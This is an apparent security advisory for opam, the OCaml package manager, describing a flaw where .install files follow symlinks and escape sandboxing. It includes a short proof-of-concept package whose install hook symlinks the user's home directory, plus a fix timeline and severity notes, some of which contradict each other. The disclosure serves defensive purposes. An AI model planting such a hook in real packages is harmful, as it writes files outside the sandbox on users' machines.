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OSEC-2026-10
No affected components available
Summary
Installing files through .install files do not check symlinks resolution of the target path, and so can bypass sandboxing.
Exploit
Let's imagine a test package whose test.install file looks like the following:
share_root: [
"test" {"blah/pwnd"}
]
and test.opam file:
opam-version: "2.0"
install: ["sh" "-c" "ln -s \"$HOME\" \"%{share}%/blah\""]
Installing this package will write the pwnd file in the home directory of the current user, bypassing sandboxing.
Timeline
- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team
- 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks
- 2026-07-08: opam 2.5.2 was released with the fix
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
- CVE-2026-57825Alias
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